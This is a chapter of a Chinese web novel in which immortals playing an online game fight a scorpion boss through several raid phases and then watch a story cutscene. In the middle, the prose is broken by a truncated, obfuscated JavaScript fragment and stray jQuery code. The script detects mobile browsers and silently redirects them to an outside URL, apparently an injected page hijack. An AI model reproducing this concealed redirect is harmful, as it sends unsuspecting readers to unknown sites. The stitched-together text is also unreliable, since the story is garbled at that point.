秦不赦懒洋洋地睨了她一眼,没有说话。殊无己顺势看过去,发现秦老板也没在认真换装备,而是在衣柜里慢吞吞地挑时装,手指在那深鎏金的箭袖锦袍和雪白的薄纱长衫之间移来移去。 殊无己:“……” “这个副本的boss你也认识。”王老君翻了个白眼接着说,“就是那个纪望春。他的魂魄已经被毒蝎吞噬大半,现在和见人就咬的疯狗没什么区别。本里有三个阶段,第1阶段就是他会拼命吐毒液,这个毒液净化不了,只能躲,而且没有轨道提示,你看到他往后仰的时候,就从他面前躲开就行。” “多谢。”殊无己移回目光,认真地听了起来。 “第2个阶段他会释放火焰巨盾,随机选定一个人控住,然后对其他人造成持续伤害。一般来说只要控制的不是奶妈就没什么压力,因为我们输出很多,破盾很快。这阶段也不怎么容易造成伤亡。” 秦不赦倒是突然插嘴:“你把复活技能留到二阶段后。” “不用你说我也知道。”王老君干笑了一下,“哈哈,殊渺,要是boss点名到你,你就不要抵抗了死一下吧。我也不治你了,复活给你留着。” 殊无己认真思索道:“既然对方是纪望春,那么点的应该是我。” “……也不一定。”王老君心想,你未必是最讨人嫌的那个,“最后一个阶段操作上难度最大一点。纪望春濒临入魔,倒计时15秒钟,要弹清心静念曲驱邪。玩家头顶上会轮流出现音符,在光标消失前一定要跑到古琴前弹响对应的那根弦。只要错一个音,团灭技能就会启动,修为再高也没用,照样死……” “接下来就是前面那几个阶段不断循环。当然还是有时间限制,总时长超过一个小时自动团灭,不过我们应该不存在这个问题。” “……”殊无己沉默了一下,淡淡地一笑,“听起来并没有什么难处,那接下来便请各位多关照。” 几人哪敢关照他,直道:“您谦虚了,您谦虚了。” 只有秦不赦抱着剑靠在一边,瞅着殊道长,心知此人多半又走神了。 ------------------------------------- 所有人准备好后,肖紫烟创建队伍打开了副本。 一阵阴风吹过,仿佛进入了梦境一般。眼前出现的竟然仍然是三叠泉山的景象,只是这树木枯死大半,空中尘土飞扬,鼻端泛起焦臭味。 游戏里的三叠泉山还没有分成两爿情人崖,只是一座料峭嶙峋的巨石山峰。由于失了树木的掩映,像一条晒干的死鱼一样陡峭地插在黄土泥石之间。 随着镜头的晃头,脚底下传来訇然巨响,一只庞大的、漆黑拂袖的白骨手掌从峡谷中伸出,按在他们眼前的地面上。从那蛄蛹螯甲似的身体中探出来的,正是纪望春半边腐烂半边完好的脸。 “是不是以为我已经死了?”纪望春嘶嘶地道,然而当他的视线环顾过所有人后,那张怪脸上的表情从得意洋洋变成了失望,“殊无己在哪里?我不要跟你们说话,告诉我殊无己在哪里?” 他挥起大掌喷出毒液,游戏进入了战斗模式。 正如肖紫烟所料,第一口不偏不倚地喷向了秦不赦的脸。 秦不赦在肖紫烟嘎嘎的笑声中闪身避开,他最终穿了那身镶着金边的剑袖侠客装,一头长发高高竖起,手里的剑柄上缠着纯金的莲花,一剑下去就将蝎子的口器直接削下来一半。 “开始了开始了。”肖紫烟马上开始指挥,“老公给个盾。秦不赦你把他的脸拉背面去,丑得有点吓人了。” 与本人反差很大,黑墨镜的游戏角色是一条身材袅娜的鲛人,门派是珠沫,一个输出兼辅助的功能性角色。他跟高大威猛露肉的肖紫烟靠在一起的时候看起来颇小鸟依人,抬起手掌吹了口仙气,秦不赦就被一个七彩的泡泡罩在了里面。 同样反差很大的是文修华。外表斯斯文文的文昌帝君这会儿在玩刺客血影,进本之后一句话没说,光负责大砍大杀,砍蝎子脚跟吃螃蟹似的,副武器血爪扑上去一扯,连虾线都跟着扯出长长地一条。 殊无己再次感叹这个游戏有辱斯文。这时王老君拉住他喊道:“你过来点儿,你三清是远程输出站这么近干嘛?跟我一起在后面刮痧就可以了。” 王老君玩的菩提是海尽天劫唯一的治疗职业。菩提都是男号僧人,到了王老君这儿,自然成了一个粉头粉面圆咕隆咚的小沙弥。小沙弥奶量巨大,一抬头一抬手一拈花,秦不赦掉了一半的血条就立刻补满。 “我等如此躲在背后偷袭,让秦先生一人正面交锋,总觉得不太好。”殊无己微微蹙眉。 肖紫烟听到他们说话差点喷出一口水:“你要不过去跟他并肩作战试试?” 殊无己自然愿意一试,然而刚走进纪望春的毒风范围,一阵腥臭扑面而来。他还没反应过来,画面就黑了。 殊无己:“……” 秦不赦的眉头一跳,转头冷道,脸上还带着蝎子的血痕:“你们在干什么?” 肖紫烟嬉皮笑脸地说:“没事,老君给他拉起来。”又大声喊,“老板,这不是要让你展示展示男人的雄风吗?在外面挨打多不容易啊。” 王老君马上开了一个千叶莲蓬。殊无己原地复活并且获得了三秒金身。 他刚睁开眼睛,秦不赦就揽着他的腰将他甩出十米之外,一边扔一边提醒肖紫烟:“你的婚假还在我手里没批呢。” “……” “你们当老板的真该死啊……”肖紫烟咬牙启齿,“唉小殊,你就算了不要打了。教你一个法儿,你躲后面那个石头缝缝里面,那儿离战场近但是跟boss互相打不到,是个吐槽位。你就在那给我们老板挑挑刺,让他不痛快就行。” 殊无己:“……” 他自然没有在旁边坐享渔翁之利的习惯,然而没过几秒钟,一道金光闪在他身上。他还没意识到发生了什么,眼前就闪过了一行字: 【boss点名了玩家殊渺,请治疗职业的玩家及时救助】 王老君还没来得及开技能,他脆得像纸糊的一样的血条又消失了,他屏幕再次灰了下去。 这次没人顾得上救他。秦不赦硬扛着boss的群伤,轻剑换重剑又换轻剑,一套飞快的连招打出了五岳能打出的全部伤害,文修华的血鞭舞得跟螣蛇吐信似的,肖紫烟也是躲在远处尽心尽力地丢那几手不入眼的假玄阳功。一阵火星四溅、噼里啪啦的金属交锋声后,boss的盾在几秒内轰然碎裂。 秦老板喝命:“复活。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438820|169335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 千叶莲蓬的光芒再次亮起。殊无己又被拉了起来。在纪望春切换形态之前,秦不赦上前一步拎着他的衣领把他塞进了肖紫烟提到的那个石头缝里。 殊无己:“……” “马上三阶段了,纪望春的群伤会变得很高。”王老君快速道,“殊渺,如果待会儿点到你去弹琴,你就先开个三清门的金身技能。我这边复活技能cd会越来越长,可能来不及拉你。” 他声音急切,殊无己自然也认真起来:“什么是金身?” 王老君:“?” “就是我们门派第二套技能面板上那个八卦的图标……”肖紫烟凑上来教他,结果也是大跌眼镜,“你没带技能?” 殊无己再次皱眉:“我用不惯那些粗糙的招式。” 他们还想说点什么,弹琴的音符图标已经跳出在肖紫烟头上。肖紫烟的额头青筋暴起,开了两段位移冲到琴弦前,在琴上泄愤似的拉了一下,差点把琴弦拉断。 纪望春进入短暂的虚弱状态,秦不赦一剑又削下他另外一对足肢。他面对着眼前的巨蝎,一边拉仇恨一边远程指挥:“老君和紫烟反复开沉默,把他的技能速度压下来。解厄把我的护盾关了。殊渺你什么也别管,活着开玄阳功就行。” “玄阳功有加伤的buff吗?”黑墨镜一边看向肖紫烟。 肖紫烟将信将疑地调开技能面板,恍然大悟:“确实能给同队的五岳增伤5%。好家伙,原来这么早就开始公器私用了。” 殊无己自知理亏,老实照做。他弃了长剑,反而用拂尘甩出一道内劲打在boss身上不痛不痒,却使秦不赦的两柄长剑一齐泛起了翡翠似的荧光。 黑墨镜依言关掉了秦不赦身上的盾。因为不断衔接的沉默技能,纪望春攻击的动作变得迟缓,点名的次数也变少。第二次点到王老君时,王老君知道了老板的战略,没有立刻去拨弦,而是等到倒计时的最后一秒才一个一苇渡江滑到古琴前拨了一下。 殊无己看到秦不赦的血条下降得飞快,与此同时增加的是他的爆发性伤害。秦不赦金色的华服随着扑面而来的刀刃和爪击一条条碎开,脸上臂上擦出道道血痕,然而他身上的剑意越发凌厉、锐不可当,衣袍猎猎如啸,每一剑都要让纪望春缺胳膊断腿。 纪望春发出了一声尖锐的嘶吼,第三次点名终于点到了殊无己。 秦不赦冷声道:“别动,待在那儿。”紧接着他不躲不闪地冲进了boss攻击范围,踩在毒圈上,正面迎上了纪望春的脸 【队友秦不赦血量低于30%,触发特技[狂战],血量每降低5%,伤害增加30%】 只见秦不赦身上的金衣、手里的剑影、头顶的雀翎像是融为了一体。他的衣裳破损越多,脸上的血迹越浓,眼底的光芒越是炽盛。呼呼的狂风令他破碎的袍袖和张扬的长发飒飒连成一片——殊无己认出,尽管手里拿的是五岳剑,但他的的确确使是三清明光十三问,用的是玄阳功至阳心法。 一声尖锐的爆碎声后,纪望春巨大的身体在魔化之前轰然倒地,碎成了千百碎片。 【恭喜您击败对手[纪望春]】 【取得成就[血海深仇随风去]】 战斗画面消散,殊无己还没听清队友的欢呼,又被扔进了剧情动画里。 剧情动画却有点出人意料。 席卷着大片灰尘的风中,没有人因为打败纪望春而高兴。人们穿着各色的袍服,目光警惕地逡巡,互相质问,鹰视狼顾。 他们好像在找什么。 直到头顶的悬崖上出现了一缕白影,一切才慢慢地安静下来。 一身素白的殊掌门站在山崖之巅,他没有束冠,三清掌门的外袍也脱下了,只着里衣,全身因为暴雨湿透,手里提着一杆光芒如月的银白长剑。 “殊无己,出来!有本事下来!” “你不下来,我们就要上去了!” “殊无己,你还敢出现在我们眼前?” “殊无己,纪望春已经伏诛,你就不怕遭报应吗?” 殊无己垂着双眸安静地站着,等他们全部说完,才将剑刃抵在地上,皓腕一抖,剑锋轻轻地在石面上画出一条长长的细线。 “越此线者死。”他的声音轻而极冷,仿佛冰神雪魄撞碎了一地,又不轻不重地传入了每一个人的耳朵,“你们敢来便来吧。”